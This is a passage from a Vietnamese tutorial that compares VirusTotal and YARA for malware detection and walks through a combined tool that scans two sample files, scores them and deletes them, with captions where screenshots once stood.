+ Dữ liệu: VirusTotal có một cơ sở dữ liệu khổng lồ gồm các tệp và URL đã được quét bởi nhiều công cụ chống vi-rút và công cụ phân tích mã độc khác nhau. Điều này giúp VirusTotal có độ chính xác cao hơn trong việc phát hiện mã độc.

+ Sự đơn giản: VirusTotal rất dễ sử dụng. Chỉ cần tải tệp hoặc URL lên trang web VirusTotal và nó sẽ bắt đầu quét. Yara đòi hỏi nhiều kiến thức về ngôn ngữ Yara để sử dụng hiệu quả.

Tuy nhiên, VirusTotal cũng có một số nhược điểm, bao gồm:

+ Chi phí: Dịch vụ VirusTotal miễn phí cho các quét cơ bản, nhưng các quét nâng cao có thể tốn phí.

+ Tốc độ: Quét VirusTotal có thể mất một khoảng thời gian, đặc biệt là đối với các tệp lớn hoặc các URL có nhiều nội dung.

## 2. YARA.

Yara cung cấp một số lợi ích so với VirusTotal, bao gồm:

+ Tính linh hoạt: Yara có thể được sử dụng để phát hiện các mẫu mã độc cụ thể mà không cần phải quét toàn bộ tệp hoặc URL. Điều này làm cho Yara hữu ích cho việc phát hiện các mối đe dọa mới hoặc các mối đe dọa đã được sửa đổi.

+ Tính khả thi: Yara có thể được tích hợp vào các sản phẩm và dịch vụ bảo mật khác nhau. Điều này giúp Yara dễ dàng triển khai và quản lý.

Tuy nhiên, Yara cũng có một số nhược điểm, bao gồm:

+ Kiến thức: Yara đòi hỏi kiến thức về ngôn ngữ Yara để sử dụng hiệu quả.


+ Sự chính xác: Yara có thể không chính xác như VirusTotal, vì nó chỉ dựa trên các mẫu mã độc đã biết.

Nếu cần một giải pháp bảo mật đơn giản và dễ sử dụng có thể phát hiện một loạt các mối đe dọa, thì VirusTotal là một lựa chọn tốt. Nếu cần một giải pháp bảo mật linh hoạt và có thể phát hiện các mối đe dọa mới hoặc đã được sửa đổi, thì Yara là một lựa chọn tốt hơn.


Dưới đây là một số trường hợp sử dụng cụ thể cho VirusTotal và Yara:

## 3. Tích hợp công cụ YARA vào VirusTotal.

- Chuẩn bị 2 mẫu mã độc




Giao diện tích hợp 2 công cụ




Chọn mã độc để quét




Chọn mã độc meterpreter.exe



Tiến hành squét bằng virustotal




Kết quả đã phát hiện ra mẫu mã độc




Sau đó sử dụng YARA để quét.



Kết quả: đã phát hiện ra mẫu mã độc và điểm đánh giá mức độ nguy hiểm của mã độc này là 70




Click xóa File




Kết quả file đã được xóa khỏi máy tính.


Ta quét tương tự với file setup.exe.



Sử dụng VirusTotal để quét và đã phát hiện



Sử dụng YARA để quét và phát hiện ra mã độc, điểm đánh giá mức độ nguy hiểm của mã độ này là 75



Sau đó Click xóa file

Kết quả file đã được xóa khỏi máy tính

